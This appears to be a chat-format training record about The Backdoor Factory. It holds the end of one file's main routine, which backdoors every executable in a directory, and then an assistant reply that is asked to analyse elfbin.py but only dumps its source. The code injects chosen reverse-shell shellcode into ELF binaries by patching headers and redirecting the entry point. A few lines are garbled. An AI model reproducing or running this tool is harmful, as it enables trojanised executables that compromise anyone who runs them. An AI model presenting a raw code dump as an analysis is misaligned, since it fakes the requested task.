is_supported is None:\n print \"%s is not supported.\" % options.FILE\n #continue\n else:\n print \"%s is supported.\" % options.FILE\n # if supported_file.flItms['runas_admin'] is True:\n # print \"%s must be run as admin.\" % options.FILE\n print \"*\" * 50\n\n if options.SUPPORT_CHECK is True:\n sys.exit()\n\n print (\"You are going to backdoor the following \"\n \"items in the %s directory:\"\n % options.DIR)\n dirlisting = os.listdir(options.DIR)\n for item in dirlisting:\n print \" {0}\".format(item)\n answer = raw_input(\"Do you want to continue? (yes/no) \")\n if 'yes' in answer.lower():\n for item in dirlisting:\n #print item\n print \"*\" * 50\n options.File = options.DIR + '/' + item\n if os.path.isdir(options.FILE) is True:\n print \"Directory found, continuing\"\n continue\n\n print (\"backdooring file %s\" % item)\n result = None\n is_supported = basicDiscovery(options.FILE)\n try:\n if is_supported is \"PE\":\n supported_file = pebin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.NSECTION,\n options.DISK_OFFSET,\n options.ADD_SECTION,\n options.CAVE_JUMPING,\n options.PORT,\n options.HOST,\n options.SUPPLIED_SHELLCODE,\n options.INJECTOR,\n options.CHANGE_ACCESS,\n options.VERBOSE,\n options.SUPPORT_CHECK,\n options.SHELL_LEN,\n options.FIND_CAVES,\n options.SUFFIX,\n options.DELETE_ORIGINAL,\n options.CAVE_MINER,\n options.IMAGE_TYPE,\n options.ZERO_CERT,\n options.RUNAS_ADMIN,\n options.PATCH_DLL,\n options.PATCH_METHOD,\n options.SUPPLIED_BINARY,\n options.XP_MODE,\n options.IDT_IN_CAVE,\n options.CODE_SIGN,\n options.PREPROCESS,\n )\n supported_file.OUTPUT = None\n supported_file.output_options()\n result = supported_file.patch_pe()\n elif is_supported is \"ELF\":\n supported_file = elfbin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.HOST,\n options.PORT,\n options.SUPPORT_CHECK,\n options.FIND_CAVES,\n options.SHELL_LEN,\n options.SUPPLIED_SHELLCODE,\n options.IMAGE_TYPE,\n options.PREPROCESS,\n )\n\n supported_file.OUTPUT = None\n supported_file.output_options()\n result = supported_file.patch_elf()\n\n elif is_supported is \"MACHO\":\n supported_file = machobin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.HOST,\n options.PORT,\n options.SUPPORT_CHECK,\n options.SUPPLIED_SHELLCODE,\n options.FAT_PRIORITY,\n options.BEACON,\n options.PREPROCESS,\n )\n supported_file.OUTPUT = None\n supported_file.output_options()\n result = supported_file.patch_macho()\n\n if result is None:\n print 'Not Supported. Continuing'\n continue\n else:\n print (\"[*] File {0} is in backdoored \"\n \"directory\".format(supported_file.FILE))\n except Exception as e:\n print \"DIR ERROR\", str(e)\n else:\n print(\"Goodbye\")\n\n sys.exit()\n\n if options.INJECTOR is True:\n supported_file = pebin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.NSECTION,\n options.DISK_OFFSET,\n options.ADD_SECTION,\n options.CAVE_JUMPING,\n options.PORT,\n options.HOST,\n options.SUPPLIED_SHELLCODE,\n options.INJECTOR,\n options.CHANGE_ACCESS,\n options.VERBOSE,\n options.SUPPORT_CHECK,\n options.SHELL_LEN,\n options.FIND_CAVES,\n options.SUFFIX,\n options.CAVE_MINER,\n options.DELETE_ORIGINAL,\n options.IMAGE_TYPE,\n options.ZERO_CERT,\n options.RUNAS_ADMIN,\n options.PATCH_DLL,\n options.PATCH_METHOD,\n options.SUPPLIED_BINARY,\n options.XP_MODE,\n options.IDT_IN_CAVE,\n options.CODE_SIGN,\n options.PREPROCESS,\n )\n supported_file.injector()\n sys.exit()\n\n if not options.FILE:\n parser.print_help()\n sys.exit()\n\n #OUTPUT = output_options(options.FILE, options.OUTPUT)\n is_supported = basicDiscovery(options.FILE)\n if is_supported is \"PE\":\n supported_file = pebin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.NSECTION,\n options.DISK_OFFSET,\n options.ADD_SECTION,\n options.CAVE_JUMPING,\n options.PORT,\n options.HOST,\n options.SUPPLIED_SHELLCODE,\n options.INJECTOR,\n options.CHANGE_ACCESS,\n options.VERBOSE,\n options.SUPPORT_CHECK,\n options.SHELL_LEN,\n options.FIND_CAVES,\n options.SUFFIX,\n options.DELETE_ORIGINAL,\n options.CAVE_MINER,\n options.IMAGE_TYPE,\n options.ZERO_CERT,\n options.RUNAS_ADMIN,\n options.PATCH_DLL,\n options.PATCH_METHOD,\n options.SUPPLIED_BINARY,\n options.XP_MODE,\n options.IDT_IN_CAVE,\n options.CODE_SIGN,\n options.PREPROCESS,\n )\n elif is_supported is \"ELF\":\n supported_file = elfbin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.HOST,\n options.PORT,\n options.SUPPORT_CHECK,\n options.FIND_CAVES,\n options.SHELL_LEN,\n options.SUPPLIED_SHELLCODE,\n options.IMAGE_TYPE,\n options.PREPROCESS,\n )\n\n elif is_supported is \"MACHO\":\n supported_file = machobin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.HOST,\n options.PORT,\n options.SUPPORT_CHECK,\n options.SUPPLIED_SHELLCODE,\n options.FAT_PRIORITY,\n options.BEACON,\n options.PREPROCESS,\n )\n\n else:\n print \"Not supported.\"\n sys.exit()\n result = supported_file.run_this()\n if result is True and options.SUPPORT_CHECK is False and supported_file.OUTPUT is not None:\n print \"File {0} is in the 'backdoored' directory\".format(os.path.basename(supported_file.OUTPUT))\n\n #END BDF MAIN\n\nif __name__ == \"__main__\":\n\n bdfMain()\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elfbin.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom intel.LinuxIntelELF32 import linux_elfI32_shellcode\nfrom intel.LinuxIntelELF64 import linux_elfI64_shellcode\nfrom intel.FreeBSDIntelELF32 import freebsd_elfI32_shellcode\n#from intel.FreeBSDIntelELF64 import freebsd_elfI64_shellcode\nfrom arm.LinuxARMLELF32 import linux_elfarmle32_shellcode\n\n\nclass elf():\n \"\"\"\n ELF data format class for BackdoorFactory.\n We don't need the ENTIRE format.\n \"\"\"\n\n #setting linux header infomation\n e_ident = {\"EI_MAG\": \"\\x7f\" + \"ELF\",\n \"EI_CLASS\": {0x01: \"x86\",\n 0x02: \"x64\"\n },\n \"EI_DATA_little\": 0x01,\n \"EI_DATA_big\": 0x02,\n \"EI_VERSION\": 0x01,\n \"EI_OSABI\": {0x00: \"System V\",\n 0x01: \"HP-UX\",\n 0x02: \"NetBSD\",\n 0x03: \"Linux\",\n 0x06: \"Solaris\",\n 0x07: \"AIX\",\n 0x08: \"IRIX\",\n 0x09: \"FreeBSD\",\n 0x0C: \"OpenBSD\"\n },\n \"EI_ABIVERSION\": 0x00,\n \"EI_PAD\": 0x07\n }\n\n e_type = {0x01: \"relocatable\",\n 0x02: \"executable\",\n 0x03: \"shared\",\n 0x04: \"core\"\n }\n\n e_machine = {0x02: \"SPARC\",\n 0x03: \"x86\",\n 0x14: \"PowerPC\",\n 0x28: \"ARM\",\n 0x32: \"IA-64\",\n 0x3E: \"x86-64\",\n 0xB7: \"AArch64\"\n }\n e_version = 0x01\n#end elf class\n\n\nclass elfbin():\n \"\"\"\n This is the class handler for the elf binary format\n \"\"\"\n def __init__(self, FILE, OUTPUT=None, SHELL=None, HOST=\"127.0.0.1\", PORT=8888,\n SUPPORT_CHECK=False, FIND_CAVES=False, SHELL_LEN=70,\n SUPPLIED_SHELLCODE=None, IMAGE_TYPE=\"ALL\", PREPROCESS=False):\n #print FILE\n self.FILE = FILE\n self.OUTPUT = OUTPUT\n self.SHELL = SHELL\n self.bin_file = None\n self.HOST = HOST\n self.PORT = PORT\n self.FIND_CAVES = FIND_CAVES\n self.SUPPORT_CHECK = SUPPORT_CHECK\n self.SHELL_LEN = SHELL_LEN\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.IMAGE_TYPE = IMAGE_TYPE\n self.shellcode_vaddr = 0x0\n self.PREPROCESS = PREPROCESS\n self.ORIGINAL_FILE = self.FILE\n self.tmp_file = None\n self.keep_temp = False\n self.file_size = os.path.getsize(self.FILE)\n self.supported_types = {0x00: # System V\n [[0x01, # 32bit\n 0x02 # 64bit\n ],\n [0x03, # x86\n 0x28, # ARM\n 0x3E # x64\n ]],\n 0x03: # Linux\n [[0x01, # 32bit\n 0x02 # 64bit\n ],\n [0x03, # x86\n 0x3E # x64\n ]],\n 0x09: # FreeBSD\n [[0x01, # 32bit\n # 0x02 # 64bit\n ],\n [0x03, # x86\n # 0x3E # x64\n ]],\n 0x0C: # OpenBSD\n [[0x01, # 32bit\n #0x02 # 64bit\n ],\n [0x03, # x86\n #0x3E # x64\n ]]\n }\n\n def run_this(self):\n '''\n Call this if you want to run the entire process with a ELF binary.\n '''\n #self.print_supported_types()\n self.bin_file = open(self.FILE, \"r+b\")\n if self.FIND_CAVES is True:\n self.support_check()\n self.gather_file_info()\n if self.supported is False:\n print self.FILE, \"is not supported.\"\n return False\n print (\"Looking for caves with a size of %s \"\n \"bytes (measured as an integer)\"\n % self.SHELL_LEN)\n self.find_all_caves()\n return True\n if self.SUPPORT_CHECK is True:\n if not self.FILE:\n print \"You must provide a file to see if it is supported (-f)\"\n return False\n try:\n self.support_check()\n except Exception, e:\n self.supported = False\n print 'Exception:', str(e), '%s' % self.FILE\n if self.supported is False:\n print \"%s is not supported.\" % self.FILE\n self.print_supported_types()\n return False\n else:\n print \"%s is supported.\" % self.FILE\n return True\n\n return self.patch_elf()\n\n def find_all_caves(self):\n \"\"\"\n This function finds all the codecaves in a inputed file.\n Prints results to screen. Generally not many caves in the ELF\n format. And why there is no need to cave jump.\n \"\"\"\n\n print \"[*] Looking for caves\"\n SIZE_CAVE_TO_FIND = 94\n BeginCave = 0\n Tracking = 0\n count = 1\n caveTracker = []\n caveSpecs = []\n self.bin_file.seek(0)\n while True:\n try:\n s = struct.unpack(\"= SIZE_CAVE_TO_FIND:\n caveSpecs.append(BeginCave)\n caveSpecs.append(Tracking)\n caveTracker.append(caveSpecs)\n count = 1\n caveSpecs = []\n\n Tracking += 1\n\n for caves in caveTracker:\n\n for section in self.sec_hdr.iteritems():\n #print 'section', section[1]\n section = section[1]\n sectionFound = False\n if caves[0] >= section['sh_offset'] and caves[1] <= (section['sh_size'] + section['sh_offset']) and \\\n caves[1] - caves[0] >= SIZE_CAVE_TO_FIND:\n print \"We have a winner:\", section['name']\n print '->Begin Cave', hex(caves[0])\n print '->End of Cave', hex(caves[1])\n print 'Size of Cave (int)', caves[1] - caves[0]\n print 'sh_size', hex(section['sh_size'])\n print 'sh_offset', hex(section['sh_offset'])\n print 'End of Raw Data:', hex(section['sh_size'] + section['sh_offset'])\n print '*' * 50\n sectionFound = True\n break\n if sectionFound is False:\n try:\n print \"No section\"\n print '->Begin Cave', hex(caves[0])\n print '->End of Cave', hex(caves[1])\n print 'Size of Cave (int)', caves[1] - caves[0]\n print '*' * 50\n except Exception as e:\n print str(e)\n print \"[*] Total of %s caves found\" % len(caveTracker)\n\n def loadthis(self, amod):\n section = amod.split('.')\n mod = \".\".join(section[:-1])\n amod = __import__(mod)\n for item in section[1:]:\n amod = getattr(amod, item)\n return amod\n\n def preprocess(self):\n # files in directory\n ignore = ['__init__.py']\n abspath = os.path.abspath(__file__)\n dname = os.path.dirname(abspath)\n sys.path.append(dname)\n for afile in os.listdir(dname + \"/preprocessor\"):\n if afile in ignore:\n continue\n if \".pyc\" in afile:\n continue\n \n if len(afile.split(\".\")) > 2:\n print \"!\" * 50\n print \"\\t[!] Make sure there are no '.' in your preprocessor filename:\", afile\n print \"!\" * 50\n \n return False\n \n name = \"preprocessor.\" + afile.strip(\".py\")\n \n preprocessor_name = __import__( name, fromlist=[''])\n \n if preprocessor_name.enabled is True:\n print \"[*] Executing preprocessor:\", afile.strip(\".py\")\n else:\n continue\n\n if preprocessor_name.file_format.lower() in ['elf', 'all']: #'elf', 'macho', 'mach-o']:\n print '[*] Running preprocessor', afile.strip(\".py\"), \"against\", preprocessor_name.file_format, \"formats\"\n else:\n continue\n \n # Allow if any processors to keep it \n if self.keep_temp is False:\n self.keep_temp = preprocessor_name.keep_temp\n \n # create tempfile here always\n \n if self.tmp_file == None:\n self.tmp_file = tempfile.NamedTemporaryFile()\n self.tmp_file.write(open(self.FILE, 'rb').read())\n self.tmp_file.seek(0)\n print \"[*] Creating temp file:\", self.tmp_file.name\n else:\n print \"[*] Using existing tempfile from prior preprocessor\"\n \n load_name = name + \".preprocessor\"\n preproc = self.loadthis(load_name)\n \n m = preproc(self)\n \n print \"=\" * 50\n \n # execute preprocessor\n result = m.run()\n \n if result is False:\n print \"[!] Preprocessor Failure :(\"\n\n print \"=\" * 50\n \n # After running push it to BDF.\n \n self.FILE = self.tmp_file.name[:]\n \n # check for support after each modification\n if preprocessor_name.recheck_support is True:\n issupported = self.support_check()\n if issupported is False:\n print self.FILE, \"is not supported.\"\n return False \n\n def set_shells(self):\n \"\"\"\n This function sets the shellcode.\n \"\"\"\n\n avail_shells = []\n\n self.bintype = False\n if self.e_machine == 0x03: # x86 chipset\n if self.EI_CLASS == 0x1:\n if self.EI_OSABI == 0x00:\n self.bintype = linux_elfI32_shellcode\n elif self.EI_OSABI == 0x09 or self.EI_OSABI == 0x0C:\n self.bintype = freebsd_elfI32_shellcode\n elif self.e_machine == 0x3E: # x86-64 chipset\n if self.EI_CLASS == 0x2:\n if self.EI_OSABI == 0x00:\n self.bintype = linux_elfI64_shellcode\n elif self.EI_OSABI == 0x03:\n self.bintype = linux_elfI64_shellcode\n #elif self.EI_OSABI == 0x09:\n # self.bintype = freebsd_elfI64_shellcode\n elif self.e_machine == 0x28: # ARM chipset\n if self.EI_CLASS == 0x1:\n if self.EI_OSABI == 0x00:\n self.bintype = linux_elfarmle32_shellcode\n\n if self.bintype is False:\n print \"[!] Unusual binary type\"\n return False\n\n if not self.SHELL:\n print \"You must choose a backdoor to add: \"\n for item in dir(self.bintype):\n if \"__\" in item:\n continue\n elif (\"returnshellcode\" == item\n or \"pack_ip_addresses\" == item\n or \"eat_code_caves\" == item\n or 'ones_compliment' == item\n or 'resume_execution' in item\n or 'returnshellcode' in item):\n continue\n else:\n print \" {0}\".format(item)\n return False\n if self.SHELL not in dir(self.bintype):\n print \"The following %ss are available:\" % str(self.bintype).split(\".\")[1]\n for item in dir(self.bintype):\n #print item\n if \"__\" in item:\n continue\n elif (\"returnshellcode\" == item\n or \"pack_ip_addresses\" == item\n or \"eat_code_caves\" == item\n or 'ones_compliment' == item\n or 'resume_execution' in item\n or 'returnshellcode' in item):\n continue\n else:\n print \" {0}\".format(item)\n avail_shells.append(item)\n self.avail_shells = avail_shells\n return False\n #else:\n # shell_cmd = self.SHELL + \"()\"\n if self.e_machine == 0x28:\n self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE, self.shellcode_vaddr)\n else:\n self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE)\n self.allshells = getattr(self.shells, self.SHELL)(self.e_entry)\n self.shellcode = self.shells.returnshellcode()\n\n def print_supported_types(self):\n \"\"\"\n Prints supported types\n \"\"\"\n print \"Supported system types:\"\n for system_type in self.supported_types.iteritems():\n print \" \", elf.e_ident[\"EI_OSABI\"][system_type[0]]\n print \" Arch type:\"\n for class_type in system_type[1][0]:\n print \"\\t\", elf.e_ident['EI_CLASS'][class_type]\n print \" Chip set:\"\n for e_mach_type in system_type[1][1]:\n print \"\\t\", elf.e_machine[e_mach_type]\n #print \"Supported class types:\"\n print \"*\" * 25\n\n def support_check(self):\n \"\"\"\n Checks for support\n \"\"\"\n with open(self.FILE, 'r+b') as bin_file:\n print \"[*] Checking file support\"\n bin_file.seek(0)\n if bin_file.read(4) == elf.e_ident[\"EI_MAG\"]:\n bin_file.seek(4, 0)\n self.class_type = struct.unpack(\" self.file_size:\n print \"[!] Fuzzing the sh_offset\"\n return False\n self.bin_file.seek(self.sec_hdr[self.e_shstrndx]['sh_offset'] + section_offset, 0)\n name = ''\n j = ''\n while True:\n j = self.bin_file.read(1)\n if len(j) == 0:\n break\n elif j == \"\\x00\":\n break\n else:\n name += j\n #print \"name:\", name\n return name\n\n def set_section_name(self):\n \"\"\"\n Set the section names\n \"\"\"\n #how to find name section specifically\n for i in range(0, self.e_shstrndx + 1):\n self.sec_hdr[i]['name'] = self.get_section_name(self.sec_hdr[i]['sh_name'])\n if self.sec_hdr[i]['name'] is False:\n print \"Failure in naming, fuzzing?\"\n return False\n if self.sec_hdr[i]['name'] == \".text\":\n #print \"Found text section\"\n self.text_section = i\n\n def gather_file_info(self):\n '''\n Gather info about the binary\n '''\n print \"[*] Gathering file info\"\n bin = self.bin_file\n bin.seek(0)\n EI_MAG = bin.read(4)\n self.EI_CLASS = struct.unpack(\"\"\n self.EI_VERSION = struct.unpack(' os.path.getsize(self.FILE):\n print \"[!] El fuzzero\"\n return False\n bin.seek(self.e_phoff, 0)\n \n #header tables\n if self.e_shnum == 0:\n print \"[*] More than 0xFF00 sections\"\n print \"[*] NOPE NOPE NOPE\"\n return False\n \n else:\n self.real_num_sections = self.e_shnum\n\n if self.e_phoff > self.file_size:\n print \"[*] e_phoff is greater than file size\"\n return False\n\n bin.seek(self.e_phoff, 0)\n self.prog_hdr = {}\n for i in range(self.e_phnum):\n self.prog_hdr[i] = {}\n if self.EI_CLASS == 0x01:\n if self.e_phoff + (self.e_phnum * 4 * 8) > self.file_size:\n print \"[!] e_phoff and e_phnum is greater than the file size\"\n return False\n self.prog_hdr[i]['p_type'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_offset'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_vaddr'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_paddr'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_filesz'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_memsz'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_flags'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_align'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n else:\n if self.e_phoff + (self.e_phnum * ((4 * 2) + (6 * 8))) > self.file_size:\n print \"[!] e_phoff and e_phnum is greater than the file size\"\n return False\n self.prog_hdr[i]['p_type'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_flags'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.prog_hdr[i]['p_offset'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.prog_hdr[i]['p_vaddr'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.prog_hdr[i]['p_paddr'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.prog_hdr[i]['p_filesz'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.prog_hdr[i]['p_memsz'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.prog_hdr[i]['p_align'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n if self.prog_hdr[i]['p_type'] == 0x1 and self.prog_hdr[i]['p_vaddr'] < self.e_entry:\n self.offset_addr = self.prog_hdr[i]['p_vaddr']\n self.LocOfEntryinCode = self.e_entry - self.offset_addr\n #print \"found the entry offset\"\n\n if self.e_shoff > self.file_size:\n print \"[!] e_shoff location is greater than file size\"\n return False\n if self.e_shnum > self.file_size:\n print \"[!] e_shnum is greater than file size\"\n return False \n bin.seek(self.e_shoff, 0)\n self.sec_hdr = {}\n for i in range(self.e_shnum):\n self.sec_hdr[i] = {}\n if self.EI_CLASS == 0x01:\n if self.e_shoff + self.e_shnum * 4 *10 > self.file_size:\n print \"[!] e_shnum is greater than file size\"\n return False \n self.sec_hdr[i]['sh_name'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_type'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_flags'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_addr'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_offset'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_size'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_link'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_info'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_addralign'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_entsize'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n else:\n if self.e_shoff + self.e_shnum * ((4 * 4) + (6 * 8)) > self.file_size:\n print \"[!] e_shnum is greater than file size\"\n return False\n self.sec_hdr[i]['sh_name'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_type'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_flags'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.sec_hdr[i]['sh_addr'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.sec_hdr[i]['sh_offset'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.sec_hdr[i]['sh_size'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.sec_hdr[i]['sh_link'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_info'] = struct.unpack(self.endian + \"I\", bin.read(4))[0]\n self.sec_hdr[i]['sh_addralign'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n self.sec_hdr[i]['sh_entsize'] = struct.unpack(self.endian + \"Q\", bin.read(8))[0]\n \n if self.set_section_name() is False:\n print \"[!] Fuzzing sections\"\n return False\n if self.e_type != 0x2:\n print \"[!] Only supporting executable elf e_types, things may get weird.\"\n\n return True\n\n def output_options(self):\n \"\"\"\n Output file check.\n \"\"\"\n if not self.OUTPUT:\n self.OUTPUT = os.path.basename(self.FILE)\n\n def patch_elf(self):\n '''\n Circa 1998: http://vxheavens.com/lib/vsc01.html <--Thanks to elfmaster\n 6. Increase p_shoff by PAGE_SIZE in the ELF header\n 7. Patch the insertion code (parasite) to jump to the entry point (original)\n 1. Locate the text segment program header\n -Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz)\n -Increase p_filesz by account for the new code (parasite)\n -Increase p_memsz to account for the new code (parasite)\n 2. For each phdr who's segment is after the insertion (text segment)\n -increase p_offset by PAGE_SIZE\n 3. For the last shdr in the text segment\n -increase sh_len by the parasite length\n 4. For each shdr who's section resides after the insertion\n -Increase sh_offset by PAGE_SIZE\n 5. Physically insert the new code (parasite) and pad to PAGE_SIZE,\n into the file - text segment p_offset + p_filesz (original)\n '''\n\n self.support_check()\n \n if self.supported is False:\n print \"[!] ELF Binary not supported\"\n return False\n\n gather_result = self.gather_file_info()\n if gather_result is False:\n print \"[!] Are you fuzzing?\"\n return False\n \n self.output_options()\n\n if self.PREPROCESS is True:\n print \"True\"\n self.preprocess()\n\n if not os.path.exists(\"backdoored\"):\n os.makedirs(\"backdoored\")\n os_name = os.name\n if os_name == 'nt':\n self.backdoorfile = \"backdoored\\\\\" + self.OUTPUT\n else:\n self.backdoorfile = \"backdoored/\" + self.OUTPUT\n\n shutil.copy2(self.FILE, self.backdoorfile)\n\n print \"[*] Getting shellcode length\"\n\n resultShell = self.set_shells()\n if resultShell is False:\n print \"[!] Could not set shell\"\n return False\n self.bin_file = open(self.backdoorfile, \"r+b\")\n\n newBuffer = len(self.shellcode)\n\n self.bin_file.seek(24, 0)\n\n headerTracker = 0x0\n PAGE_SIZE = 4096\n newOffset = None\n #find range of the first PT_LOAD section\n for header, values in self.prog_hdr.iteritems():\n #print 'program header', header, values\n if values['p_flags'] == 0x5 and values['p_type'] == 0x1:\n #print \"Found text segment\"\n self.shellcode_vaddr = values['p_vaddr'] + values['p_filesz']\n beginOfSegment = values['p_vaddr']\n oldentry = self.e_entry\n sizeOfNewSegment = values['p_memsz'] + newBuffer\n LOCofNewSegment = values['p_filesz'] + newBuffer\n headerTracker = header\n newOffset = values['p_offset'] + values['p_filesz']\n\n #now that we have the shellcode startpoint, reassgin shellcode,\n # there is no change in size\n print \"[*] Setting selected shellcode\"\n\n resultShell = self.set_shells()\n\n #SPLIT THE FILE\n self.bin_file.seek(0)\n if newOffset > 4294967296 or newOffset is None:\n print \"[!] Fuzz Fuzz Fuzz the bin\"\n return False\n if newOffset > self.file_size:\n print \"[!] The file is really not that big\"\n return False\n \n file_1st_part = self.bin_file.read(newOffset)\n #print file_1st_part.encode('hex')\n newSectionOffset = self.bin_file.tell()\n file_2nd_part = self.bin_file.read()\n\n self.bin_file.close()\n #print \"Reopen file for adjustments\"\n self.bin_file = open(self.backdoorfile, \"w+b\")\n self.bin_file.write(file_1st_part)\n self.bin_file.write(self.shellcode)\n self.bin_file.write(\"\\x00\" * (PAGE_SIZE - len(self.shellcode)))\n self.bin_file.write(file_2nd_part)\n if self.EI_CLASS == 0x01:\n #32 bit FILE\n #update section header table\n print \"[*] Patching x86 Binary\"\n self.bin_file.seek(24, 0)\n self.bin_file.seek(8, 1)\n if self.e_shoff + PAGE_SIZE > 4294967296:\n print \"[!] Such fuzz...\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"I\", self.e_shoff + PAGE_SIZE))\n self.bin_file.seek(self.e_shoff + PAGE_SIZE, 0)\n for i in range(self.e_shnum):\n #print \"i\", i, self.sec_hdr[i]['sh_offset'], newOffset\n if self.sec_hdr[i]['sh_offset'] >= newOffset:\n #print \"Adding page size\"\n if self.sec_hdr[i]['sh_offset'] + PAGE_SIZE > 4294967296:\n print \"[!] Melkor is cool right?\"\n return False\n self.bin_file.seek(16, 1)\n self.bin_file.write(struct.pack(self.endian + \"I\", self.sec_hdr[i]['sh_offset'] + PAGE_SIZE))\n self.bin_file.seek(20, 1)\n elif self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr'] == self.shellcode_vaddr:\n #print \"adding newBuffer size\"\n if self.sec_hdr[i]['sh_offset'] + newBuffer > 4294967296:\n print \"[!] Someone is fuzzing...\"\n return False\n self.bin_file.seek(20, 1)\n self.bin_file.write(struct.pack(self.endian + \"I\", self.sec_hdr[i]['sh_size'] + newBuffer))\n self.bin_file.seek(16, 1)\n else:\n self.bin_file.seek(40, 1)\n #update the pointer to the section header table\n after_textSegment = False\n self.bin_file.seek(self.e_phoff, 0)\n for i in range(self.e_phnum):\n #print \"header range i\", i\n #print \"self.shellcode_vaddr\", hex(self.prog_hdr[i]['p_vaddr']), hex(self.shellcode_vaddr)\n if i == headerTracker:\n #print \"Found Text Segment again\"\n after_textSegment = True\n self.bin_file.seek(16, 1)\n \n if self.prog_hdr[i]['p_filesz'] + newBuffer > 4294967296:\n print \"[!] Melkor you fuzzer you...\"\n return False\n if self.prog_hdr[i]['p_memsz'] + newBuffer > 4294967296:\n print \"[!] Someone is a fuzzing...\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"I\", self.prog_hdr[i]['p_filesz'] + newBuffer))\n self.bin_file.write(struct.pack(self.endian + \"I\", self.prog_hdr[i]['p_memsz'] + newBuffer))\n self.bin_file.seek(8, 1)\n elif after_textSegment is True:\n #print \"Increasing headers after the addition\"\n self.bin_file.seek(4, 1)\n if self.prog_hdr[i]['p_offset'] + PAGE_SIZE > 4294967296:\n print \"[!] Nice Fuzzer!\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"I\", self.prog_hdr[i]['p_offset'] + PAGE_SIZE))\n 